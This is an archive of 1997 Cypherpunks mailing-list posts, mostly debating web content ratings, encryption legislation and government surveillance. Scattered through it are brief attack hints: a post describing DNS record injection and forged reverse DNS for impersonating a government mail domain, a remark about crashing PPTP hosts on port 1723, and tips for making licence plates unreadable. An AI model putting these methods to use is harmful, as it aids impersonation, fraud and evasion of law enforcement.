Well, I don't know why you'd want to use PPTP anyway.  A friend of mine
tried connecting a Win95 PPTP client to my Linux box with a pppd running
on port 1723.  Windows bluescreened immediately and had to be rebooted.
Makes me wonder what one could do to an NT server which happened to leave
port 1723 open...


BTW, you don't need the new ssh to tunnel ppp, you can do it with the
standard ssh.  I've been doing it for over a year now, originally with
the old public-domain ssh version.

If you don't need encryption, you should use RFC1853 tunneling instead.
The overhead is much less than that of PPTP or ssh, so it will be faster.
It's included in Linux 2.0, tho not compiled in by default.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: James Love <love@cptech.org>
Date: Sat, 26 Jul 1997 02:00:46 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <v03102800affe90c52c47@[207.167.93.63]>
Message-ID: <33D8E731.8A663470@cptech.org>
MIME-Version: 1.0
Content-Type: text/plain



Tim, if you think that no web site are unambiguously inappropriate for
children, then you are in a state of denial.  However, while I don't
expect to change your mind on that point, let me set the record straight
on your note.  I don't favor RSACi or other PICS systems.  I think these
are a mistake, and should be resisted.  However, I do favor a far less
ambitious and less informative system (less is more, as far as I am
concerned), which involves a simple, single voluntary tag, selected by
the web page publisher, at their discretion, of the nature of 

<META NAME="Rating" CONTENT="adult">

I think this is quite different from RSACi or SafeSurf's system, for the
reasons mentioned by my missive to Jonah.  


   Jamie   <love@cptech.org>


Tim May wrote:
> 
> At 9:16 AM -0700 7/25/97, Declan McCullagh wrote:
> >---------- Forwarded message ----------
> >Date: Fri, 25 Jul 1997 12:08:32 -0400 (EDT)
> >From: James Love <love@cptech.org>
> >To: Jonah Seiger <jseiger@cdt.org>
> >Cc: Declan McCullagh <declan@well.com>,
> fight-censorship@vorlon.mit.edu,
> >    chris_barr@cnet.com
> >Subject: Re: CDT, RSACi, and "public service" groups
> >
> >
> >Jonah, I think the problems with the RSACi rating system are pretty
> >obvious, and I also think it should be obvious that *any* rating
> system
> >that would aspire to rate all or even a significant number of web
> pages
> >would be a bad thing.  That said, it seems to me that there exist web
> >pages that are unambiguously inappropriate for children.  Has CDT
> rejected
> 
> "Unambiguously inappropriate for children"?
> 
> No such thing. I can think of many, many things which many consider
> inappropriate for children (what age?), but which others, including
> myself,
> consider perfectly appropriate. I see no particular need to recite
> examples
> here.
> 
> Even with "obscenity," whatever that is (I seem not to know it when I
> see
> it, which would make me a poor Supreme Court Justice), that there are
> obscenity prosecutions and trials would seem to indicate that such
> materials are not "unambigously obscene."
> 
> The "mandatory voluntary" PICS/RSACi ratings, with penalties
> (presumably)
> for "mislabeling," just are another form of content control.
> 
> If they are truly voluntary, then people are free to say that a nudist
> site
> is appropriate for children, or not to label at all...the null label
> is
> just another label.
> 
> (Nudist sites, in realspace as well as cyberspace, are a classic
> example of
> the difficulty of judging "appropriate for children." Some
> jurisdicitions
> are attempting to legislate against children being in nudist camps.
> They
> would even claim that children seeing adults and other children nude
> is
> "unambiguosly inappropriate." Others disagree. So, how would their web
> site
> be labeled?)
> 
> The notion that something is "unambiguously" inapproprate, obscene,
> heretical, treasonous, whatever, is a flawed concept.
> 
> --Tim May
> 
> There's something wrong when I'm a felon under an increasing number of
> laws.
> Only one response to the key grabbers is warranted: "Death to
> Tyrants!"
> 
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital
> money,
> tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms,
> zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information
> markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information
> superhighway."

-- 
_______________________________________________________
James Love | Center for Study of Responsive Law
P.O. Box 19367 | Washington, DC 20036 | 202.387.8030
http://www.cptech.org | love@cptech.org





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Sat, 26 Jul 1997 05:11:49 +0800
To: cypherpunks@cyberpass.net
Subject: Government Access to Safes
Message-ID: <v03010d04affec4688a73@[17.202.40.158]>
MIME-Version: 1.0
Content-Type: text/plain



You may have been following the recent murder of Gianni Versace
and the subsequent suicide of his alleged murderer. One minor
footnote that popped up in the news is a small safe located
in the houseboat where the suicide was found. This safe uses
a keypad lock (rather than a mechanical combination or physical
key).

Is this more secure than a regular safe lock? Does the government
have an access key that would premit a law enforcement officer
(with appropriate authority) to open any such lock? Should I
be required to deposit the secret key to my safe with a
government-mandated "escrow" agent?

Martin Minow
minow@apple.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 26 Jul 1997 05:42:44 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <v03102802affe9889ff47@[207.167.93.63]>
Message-ID: <v03102806affecb7df7d5@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:07 PM -0700 7/25/97, nospam-seesignature@ceddec.com wrote:

>Why is everything considered to be a federal government v.s. total anarchy
>debate?

It's not.

>A PRIVATE organization could set up objective standards for content and
>then produce ratings for sites (using a digital signature technique).
>Whether your site has nude pictures is something measurable.  There can
>also be subjective standards.  If you find religion offensive, you can go
>to sites rated as safe by an atheistic association.  If they misrate
>things, switch organizations.

Few of us have problems with this approach. This is what I was advocating
when I said parents should control what their children get access to. Or,
more broadly, people can use whatever standards they wish.

But this is not what the debate has been about. If you think this, you
haven't been reading the threads about the proposed penalties for
"mislabeling" a site, the "mandatory voluntary" notions, etc.

>You can make a movie and say it is rated "G", but you cannot use the
>MMPA's reputation capital to do so.  If you say it has been rated "G" by
>the MMPA, it either has been, or your are committing fraud.

Yes, yes, yes. We all agreed with this a couple of years ago when this came up.


>If you said "suitable for children", and the common opinion was that it
>wasn't, you would develop a reputation for mislabeling, lying, fraud, or
>psycosis.  If you keep calling a Stetson hat a potted plant, you lose
>reputation capital.  And then people stop believing you on other issues
>such as "I know what I am talking about when it comes to programming".

Again, yes, yes, yes.

Sadly, your view and my view on this is _not_ what is being discussed in
Washington.

In fact, Washington need not even be involved in the slightest way to
implement a purely private system such as this. That they are says it all.

--Tim May


Voluntary Mandatory Self-Rating of this Article
(U.S. Statute 43-666-970719).
Warning: Failure to Correctly and Completely Label any Article or Utterance
is a Felony under the "Children's Internet Safety Act of 1997," punishable
by 6 months for the first offense, two years for each additional offense,
and a $100,000 fine per offense. Reminder: The PICS/RSACi label must itself
not contain material in violation of the Act.

** PICS/RSACi Voluntary Self-Rating (Text Form) ** :

Suitable for Children: yes  Age Rating: 5 years and up.
Suitable for Christians: No Suitable for Moslems: No  Hindus: Yes
Pacifists: No  Government Officials: No  Nihilists: Yes  Anarchists: Yes
Vegetarians: Yes  Vegans: No  Homosexuals: No  Atheists: Yes
Caucasoids: Yes  Negroids: No  Mongoloids: Yes
Bipolar Disorder: No  MPD: Yes and No  Attention Deficit Disorder:Huh?

--Contains discussions of sexuality, rebellion, anarchy, chaos,torture,
regicide, presicide, suicide, aptical foddering.
--Contains references hurtful to persons of poundage and people of
color.Sensitive persons are advised to skip this article.

**SUMMARY**
Estimated number of readers qualified to read this: 1
Composite Age Rating: 45 years






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Sat, 26 Jul 1997 05:53:15 +0800
To: cypherpunks@cyberpass.net
Subject: Society's Overwhelming Interest
In-Reply-To: <v03102805affeb3524a23@[207.167.93.63]>
Message-ID: <19970725214616.22649.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> wrote:

 > (And, in my opinion, the modern American system is filled
 > with thousands of examples of laws inconsistent with
 > original Constitutional intent, but not so blatantly
 > clearcut that the Supremes would have to act. The "death of
 > a thousand cuts," or the "frog in boiling water," whatever
 > metaphor one prefers.)

The Supremes can easily dismiss the Constitution any time they
like by using the magic phrase "Society's Overwhelming Interest."

We saw a good example of that today, in a ruling which said that
Society's Overwhelming Interest in protecting its citizen(-unit)s
outweighed the right of specific terminally ill citizen(-unit)s
to smoke marijuana to relieve intractable pain.

Even the First Ammendment falls victim to this phrase when the
Supremes rule that Society's Overwhelming Interest in protecting
its children makes it possible to commit a felony using only a
Playboy, a Jack and Jill, scissors, and a piece of scotch tape.

Similar arguments come out of the Court all the time about
Society's Overwhelming Interest in "preserving the family,"
"protecting children," "empowering parents," "thwarting
terrorists", and generally preserving the right of the state to
rule, to execute, to collect taxes, and to rip out the spleen of
anyone who publicly objects.

Those who regard the Supreme Court as some sort of inviolable
bulwark surrounding our First Ammendment crypto rights are
probably setting themselves up for a rude awakening in the not so
near future.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Sat, 26 Jul 1997 06:15:39 +0800
To: "Peter D. Junger" <cypherpunks@cyberpass.net
Subject: Re: An Attempt to Hobble SAFE Crypto Bill
In-Reply-To: <199707252121.RAA02705@upaya.multiverse.com>
Message-ID: <v03010d06affed4303fb3@[17.202.40.158]>
MIME-Version: 1.0
Content-Type: text/plain



>: http://www.wired.com/news/news/politics/story/5492.html
...
>:  The amendment, by Representative Benjamin Gilman
>:  (R-New York), who chairs the International Relations
>:  Committee, would make it unlawful to "manufacture,
>:  distribute, sell, or import any product within the United
>:  States that can be used to encrypt communications or
>:  information if the product does not permit the real-time
>:  decryption of such encrypted communications or
>:  information."

Do you think they were referring to pencils?

Will Navaho dictionaries become illegal?

Martin Minow
minow@apple.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter D. Junger" <junger@upaya.multiverse.com>
Date: Sat, 26 Jul 1997 03:31:19 +0800
To: Cypherpunks <cypherpunks@cyberpass.net>
Subject: Re: An Attempt to Hobble SAFE Crypto Bill
In-Reply-To: <Pine.GSO.3.95.970725111252.22013N-100000@well.com>
Message-ID: <199707251922.PAA02459@upaya.multiverse.com>
MIME-Version: 1.0
Content-Type: text/plain



: http://www.wired.com/news/news/politics/story/5492.html
: 
: 
: An Attempt to Hobble House Crypto Bill
: 
:  by Rebecca Vesely
: 
:  9:08am  25.Jul.97.PDT A Republican opponent of a House
:  bill that would loosen controls on the use and export of
:  encryption is circulating an amendment that would
:  effectively cripple the legislation.
: 
:  The amendment, by Representative Benjamin Gilman
:  (R-New York), who chairs the International Relations
:  Committee, would make it unlawful to "manufacture,
:  distribute, sell, or import any product within the United
:  States that can be used to encrypt communications or
:  information if the product does not permit the real-time
:  decryption of such encrypted communications or
:  information."

This is interesting in a perverse sort of way.  Notice that it does
not purport to forbid the _use_ of strong crypto.  Is software---
especially if it is not for sale, but just given away---a product?
Does writing software amount to manufacturing it?  

It actually does a very nice job of raising the first amendment issues
that are ultimately going to kill export controls, as well as import
controls, as applied to software.  It would seem that, unless one
believes that the first amendment only protects pornographers, but not
programmers, that this proposed legislation is either (i) blatantly
unconstitutional or (ii) totally ineffective (since, if it is not
unconstitutional, it could not be applied to the writing, distributing,
importing, or even selling of those texts that we call programs.)

--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger@samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger@pdj2-ra.f-remote.cwru.edu no longer exists





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sar <sar@cynicism.com>
Date: Sat, 26 Jul 1997 06:07:26 +0800
To: cypherpunks@toad.com
Subject: Re: Brit Fascists To Track Motorists - DigiCash Obsolescent
Message-ID: <3.0.2.32.19970725165058.007d3cd0@box.cynicism.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:23 AM 7/25/97 -0400, you wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>At 02:34 AM 7/24/97 -0700, Kent Crispin wrote:
>>On Wed, Jul 23, 1997 at 01:59:00PM -0700, Bill Stewart wrote:
>>[...]
>>> And, yes, all of this privacy loss happens because somebody decided
>>> it was convenient to put a car-ownership-tax receipt on the outside
>>> of a car so police can quickly decide if you've paid your taxes...
>>> The rest of it's just implementation details.
>>
>>Of course, you could just confine your driving to private roads, and
>>leave the license plate off. 
>
>Sabotaging your plates so they weren't machine readable or using a car 
>registered in Slovenia or Wisconsin (both possible in the UK) would make
more 
>sense.
>

remember those purple neon "chaser" lights that people used to put around
thier plates to to make them harder to read and bounce lidar off of... dont
see them much anymore they probably went the way of blackout windows they
both make it harder for police to apprehend the dangerous criminals. In
fact if you get pulled over with blackout windows in NYC you might be
greeted by one of new yorks finest pointing a gun at you instead of the
ususal solem "liscense and registration please". I think that if the
government could make a case that mandatory brain removal would stop crime
most people would be all for it. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Sat, 26 Jul 1997 05:21:32 +0800
To: cypherpunks@toad.com
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <v03102802affe9889ff47@[207.167.93.63]>
Message-ID: <97Jul25.170516edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 25 Jul 1997, Tim May wrote:

> At 10:49 AM -0700 7/25/97, James Love wrote:
> >Tim, if you think that no web site are unambiguously inappropriate for
> >children, then you are in a state of denial.  However, while I don't
> >expect to change your mind on that point, let me set the record straight
> >on your note.  I don't favor RSACi or other PICS systems.  I think these
> >are a mistake, and should be resisted.  However, I do favor a far less
> >ambitious and less informative system (less is more, as far as I am
> >concerned), which involves a simple, single voluntary tag, selected by
> >the web page publisher, at their discretion, of the nature of
> >
> ><META NAME="Rating" CONTENT="adult">
> 
> So long as it is completely voluntary, and I am free to label my sites as
> "Suitable for children," whatever they contain, I have no problem with your
> proposal.

Why is everything considered to be a federal government v.s. total anarchy
debate?

A PRIVATE organization could set up objective standards for content and
then produce ratings for sites (using a digital signature technique). 
Whether your site has nude pictures is something measurable.  There can
also be subjective standards.  If you find religion offensive, you can go
to sites rated as safe by an atheistic association.  If they misrate
things, switch organizations.

You can make a movie and say it is rated "G", but you cannot use the
MMPA's reputation capital to do so.  If you say it has been rated "G" by
the MMPA, it either has been, or your are committing fraud. 

You can place any tag on your site which you want, but the same
technological revolution will make reputation capital certification
possible, and your choice will be to have no site rating, or one provided
by an organization which has standards and you won't be able to forge.

If I want to create a site which advertises to children of a particular
age group, I will want to attract the largest number of children possible. 
No one will trust my own "safe for children" tag, but they will trust
someone independent.  So I go to them to have my site rated, and either
make adjustments, or debate some points, but the idea is that my page will
then become a place for children to go to because of the rating. 

> However, if you or Justice Rehnquist or Louis Freeh or Ralph Reed should
> _disagree_ with my "voluntary" labeling of my site as "suitable for
> children," and should then bring the courts into the process in a
> prosecution or other action against me, then it will hardly be "voluntary,"
> will it?

No, but if I am the one certifying your site, I would certify what I see
as appropriate for the given age group, and use a digital signature, so if
you altered your content, you would immediately lose my certification, or
I might do so for a probationary period until you established a reputation
for not swapping nice clowns for lusty nudes, much as people require
collateral and cosigners until someone has built up a good credit rating.

If you said "suitable for children", and the common opinion was that it
wasn't, you would develop a reputation for mislabeling, lying, fraud, or
psycosis.  If you keep calling a Stetson hat a potted plant, you lose
reputation capital.  And then people stop believing you on other issues
such as "I know what I am talking about when it comes to programming".

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter D. Junger" <junger@upaya.multiverse.com>
Date: Sat, 26 Jul 1997 05:31:02 +0800
To: Cypherpunks <cypherpunks@cyberpass.net>
Subject: Re: An Attempt to Hobble SAFE Crypto Bill
Message-ID: <199707252121.RAA02705@upaya.multiverse.com>
MIME-Version: 1.0
Content-Type: text/plain



: http://www.wired.com/news/news/politics/story/5492.html
: 
: 
: An Attempt to Hobble House Crypto Bill
: 
:  by Rebecca Vesely
: 
:  9:08am  25.Jul.97.PDT A Republican opponent of a House
:  bill that would loosen controls on the use and export of
:  encryption is circulating an amendment that would
:  effectively cripple the legislation.
: 
:  The amendment, by Representative Benjamin Gilman
:  (R-New York), who chairs the International Relations
:  Committee, would make it unlawful to "manufacture,
:  distribute, sell, or import any product within the United
:  States that can be used to encrypt communications or
:  information if the product does not permit the real-time
:  decryption of such encrypted communications or
:  information."

Besides the first amendment issues that I raised earlier, there are 
certain other problems with this amendment.  

Say it takes 2,000 years to decrypt a message, now that is what I
would really call ``real time''.  And there could also be a message
that could be decrypted in ten seconds, but only by someone who has
the key.

Obviously this draft of an amendment is very rough, incomplete,
mistranscribed, or some or all of the above.

--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger@samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger@pdj2-ra.f-remote.cwru.edu no longer exists





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Sat, 26 Jul 1997 05:34:57 +0800
To: Cypherpunks List <cypherpunks@cyberpass.net>
Subject: PRZ and PGP honored on NET
In-Reply-To: <v03007809affc1e98832d@[168.161.105.191]>
Message-ID: <97Jul25.172804edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



Last night (7/24/97), on National Empowerment Television, the hosts of
Endangered Liberties honored Phil Zimmerman for his work on PGP, and they
even had an employee of PGP there to discuss the program and the policy
problems.

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Sat, 26 Jul 1997 13:00:01 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: CDT, RSACi, and "public service" groups (1/3)
In-Reply-To: <Pine.GSO.3.95.970725091822.21324C-100000@well.com>
Message-ID: <v03007831afff25502610@[207.94.249.108]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:18 AM -0700 7/25/97, Declan McCullagh wrote:
>RSAC-PS raises the same troubling questions as RSACnews: what is a "public
>service" group? Who decides?

This question is easy to answer.  By being publicly available, they are ALL
offering public services.  Therefore they are all free from
mandatory/voluntary ratings.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 26 Jul 1997 13:32:52 +0800
To: Bill Frantz <cypherpunks@toad.com
Subject: Re: CDT, RSACi, and "public service" groups (1/3)
In-Reply-To: <Pine.GSO.3.95.970725091822.21324C-100000@well.com>
Message-ID: <3.0.2.32.19970725222141.0072e90c@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:04 PM 7/25/97 -0700, Bill Frantz wrote:
>At 9:18 AM -0700 7/25/97, Declan McCullagh wrote:
>>RSAC-PS raises the same troubling questions as RSACnews: what is a "public
>>service" group? Who decides?
>
>This question is easy to answer.  By being publicly available, they are ALL
>offering public services.  Therefore they are all free from
>mandatory/voluntary ratings.

Bridges are at a bargain this week... Of course my dear friend Bill knows
better than to believe what he wrote. :-)

The large media conglomerates (really an extension of the government) will
decide under the "voluntary" rating system who is a "reliable" news source
worthy of a RSACi carte blanc. Hmm, sounds just like the "persons of
undoubted reliability" authorized to acquire firearms in Europe a while
back. [Reichsgesetzblatt, year 1928, number 18, part 1, paragraph 16.1]

After all, we wouldn't want people of questionable reputation, such as John
Young, publish news anybody can read. It might disturb some children. Not
to mention their parents.

Sounds to me like the established media is supporting a system designed to
hamper their competion.


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Sat, 26 Jul 1997 13:53:12 +0800
To: "Lynne L. Harrison" <cypherpunks@cyberpass.net
Subject: Re: Jim Bell Docket 3
In-Reply-To: <Pine.SUN.3.96.970724140511.29712R-100000@beast.brainlink.com>
Message-ID: <v03102802afff3d83ee3c@[17.128.203.92]>
MIME-Version: 1.0
Content-Type: text/plain



>>On Thu, 24 Jul 1997, Lynne L. Harrison wrote:
>
>I question, however, if is proper/appropriate for a governmental entity to
>retrieve email addresses off of a computer involved in a criminal matter
>and use those addresses to send the type of message that was sent to a
>selected few?  Unfortunately, I have no answer to this query.
>
>Do any other individuals have any thoughts concerning this issue?
>
>

(Since I am not a lawyer, I can pontificate without fear of reprisal.)
Since the message was a "press release" one could, with a reasonably
straight face, claim that it is covered by "freedom of the press."
Extracting addresses from a database would not be permitted, as
near as I can tell, by the Swedish Data Privacy Law. There is an
interesting article, in Swedish, in today's Svenska Dagbladet
<http://www.svd.se/> that suggests that *any* computer-generated
message (including ordinary word-processing letters) may violate
the data privacy law (but this might be a mis-reading of an
article I only skimmed, but didn't read carefully). Misusing
data on a computer file would be improper, irregardless of whether
the computer was involved in a criminal matter. Copyright violation,
if nothing else, even if it might be "fair use."

Martin Minow
minow@apple.com








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 27 Jul 1997 05:48:31 +0800
To: cypherpunks@toad.com
Subject: Re: Jim Bell Docket 3
In-Reply-To: <Pine.SUN.3.96.970724140511.29712R-100000@beast.brainlink.c om>
Message-ID: <3.0.2.32.19970725225321.03054658@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>>A. It's unsolicited spam.
Not a big deal.
>>B. The way they gathered the list of addresses is questionable, 
>>    and likely off Jim's HD.  

Feh.  Either it was real, or it was forged.  In either case, 
the sender could have gotten names and addresses for the usual suspects
by watching the cypherpunks list; no need to crack Jim's machine.

It _was_ nicely forged, if it was forged.  One amusing method
that could have been used for the forgery is the method used
by Kashpureff for the alternic.net / internic.net rediriection -
when a site sends a DNS request to your name server (e.g. because
you've sent some email through it to you), send back some additional
records with the sites you're impersonating - especially if the
subdomain at irs.gov didn't really exist.  You can reinforce it by
adding the IP addresses you choose to your in-addr.arpa reverse DNS.

>I question, however, if is proper/appropriate for a governmental entity to
>retrieve email addresses off of a computer involved in a criminal matter
>and use those addresses to send the type of message that was sent to a
>selected few?  Unfortunately, I have no answer to this query.

Clearly not - there are major ECPA and invasion of privacy issues.
But there's no evidence that they did that.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 26 Jul 1997 14:33:12 +0800
To: Bill Frantz <frantz@netcom.com>
Subject: Re: CDT, RSACi, and "public service" groups (1/3)
In-Reply-To: <v03007831afff25502610@[207.94.249.108]>
Message-ID: <Pine.GSO.3.95.970725231642.24445D-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Heh. That's not what RSACi has in mind. :) --Declan

On Fri, 25 Jul 1997, Bill Frantz wrote:

> At 9:18 AM -0700 7/25/97, Declan McCullagh wrote:
> >RSAC-PS raises the same troubling questions as RSACnews: what is a "public
> >service" group? Who decides?
> 
> This question is easy to answer.  By being publicly available, they are ALL
> offering public services.  Therefore they are all free from
> mandatory/voluntary ratings.
> 
> 
> -------------------------------------------------------------------------
> Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
> (408)356-8506     | to protect the free world  | 16345 Englewood Ave.
> frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA
> 
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 26 Jul 1997 15:20:23 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Something of Interest (fwd)
In-Reply-To: <Pine.LNX.3.95.970718201810.14227A-100000@www.ctrl-alt-del.com>
Message-ID: <19970726000702.56387@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, Jul 24, 1997 at 08:45:00PM -0500, snow wrote:
> 
> 	Seems to me, this is a warning. 
> 
> 	The Gooberment is warning us that they are watching us, and 
> They are NOT PLEASED. 

Far more likely that someone in IRS thought it would be a kick to stir
up cypherpunks a bit.  It worked, too, I would say.  

Let me be a bit more direct.  These people aren't warning you.  They
are poking fun of you. 

> 	Assholes. They are supposed to be working FOR US.

Speaking of asses, they are probably laughing theirs off reading this. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 26 Jul 1997 15:20:55 +0800
To: James Love <love@cptech.org>
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <33D8F403.245C04CD@cptech.org>
Message-ID: <199707260708.CAA30671@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <33D8F403.245C04CD@cptech.org>, on 07/25/97 
   at 02:44 PM, James Love <love@cptech.org> said:

>Declan McCullagh wrote:
>> 
>> Jamie, as you know, we disagree on your approach to self-labeling.
>> 
>> For the purposes of argument, let us say that we can agree that some,
>> extreme, sites are unsuitable for children. But the problems arise not
>> on
>> the extremes, but in the great grey center.
>> 
>> Where do you draw the line? Therein lies the rub.
>> 
>> -Declan


>     Thanks for asking this question.  I think it is important.  I would
>have the labeling system be something that suits the publisher of the web
>page.  The web page publisher would decide if he or she wanted to label
>the site as adult.  There wouldn't be a great gray center, in the sense
>that the author/owner of the web page would make the decision to label or
>not label.  Why would anyone label?  As you know, most porn sites already
>have labeling out the whazoo.  (how is this spelled?)   The problem is
>that the label takes so many different forms, browsers can't filter the
>current labels, and that is why we have so much interest in cybersiter
>and other AI programs.  This would make their existing voluntary labeling
>systems actually work.  The simpler the tagging system, and the less
>information it conveys, the less likely it could be used to create a much
>more grandiose content labeling system.  This is a pragmatic proposal.  I
>think it makes sense.


What is your proposal for those who would "mislable" their sites? I am
sure that you are not under the assumption that everyone will have the
same ideals of what is appropriate for children and what is not.

How do you handle the web site for alt.sex.sheep.bah.bah.bah if the owner
decides to self rate it Y-7?

Self-rating and/or browsers that can read these self-ratings will be of
little good except as a stepping stone to maditory rating system because
they are unable to solve the precieved problem of children accessing
website that their parents do not want them to see.

Even if you could convince "Enough-is-Enough" and the rest of Donna "2 bit
hore" Rice's cronnies that voluntary ratings was worth a try they would be
shortly back to DC pushing for manditory legislation because they wouldn't
like the way people were self rating their web pages.

You have two major groups pushing for rating systems:

1) Lazy parents that do not wish to be bothered with the obligations of
raising their children.

2) "Born again" censors like Rice want the power to control what people
can and can not say.

The problem is that no rating system can satisfy these groups. Just as
voluntary rating will be used as a stepping stone to manditory rating,
manditory rating will be used by these same two groups for the outright
baning of certian forms of speech (their true agenda).


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM9mU2o9Co1n+aLhhAQEDqwQAmz1IdvFJ7gNOu07bi02na4P0vbQzveRS
ym/HgrtC+Oda/v9smPNb9BqUdQOY1NL42YHHoHx5gB6SrTVYN07ShejmBMDmyFI8
m8ly7AfQtPW4SdMiDXei+/Q2xddoM2XTE/WvTjJDk3y+Bzt0F8kHqr+Hs9T7HiIX
3N+B4l9EmVc=
=dTH/
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 26 Jul 1997 17:24:45 +0800
To: cypherpunks@toad.com
Subject: Re: Brit Fascists To Track Motorists - DigiCash Obsolescent
In-Reply-To: <199707231815.UAA09529@basement.replay.com>
Message-ID: <19970726020854.39574@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, Jul 24, 1997 at 06:54:29PM -0700, Bill Stewart wrote:
> At 02:34 AM 7/24/97 -0700, Kent Crispin wrote:
> >On Wed, Jul 23, 1997 at 01:59:00PM -0700, Bill Stewart wrote:
> >[...]
> >> And, yes, all of this privacy loss happens because somebody decided
> >> it was convenient to put a car-ownership-tax receipt on the outside
> >> of a car so police can quickly decide if you've paid your taxes...
> >> The rest of it's just implementation details.
> >
> >Of course, you could just confine your driving to private roads, and
> >leave the license plate off. 
> 
> If the government wants to take over all the public commons right-of-way
> and pave it for roads, I'm not saying I'm not willing to pay them
> for the use of all their nice concrete and asphalt*, though 
> government-built roads have led to a whole lot of ecological and social
> problems

Can't deny that.

> that are far more severe than those a free-market road system
> would have given us;

I see no evidence for this.  Do you know of any national level 
free-market road system that would demonstrate this?  I don't think 
there are any.

> free-marketers without eminent domain would have
> built fewer roads in generally more efficient places because they'd need 
> to make money on each one, though eminent domain may be enough of a 
> cost-saver to make up for lower efficiency, and housing and business 
> development would have organized more compactly around the roads and
> railroads that did get built, allowing less car use.

I don't know.  Maybe, maybe not.  This is all hypothetical.

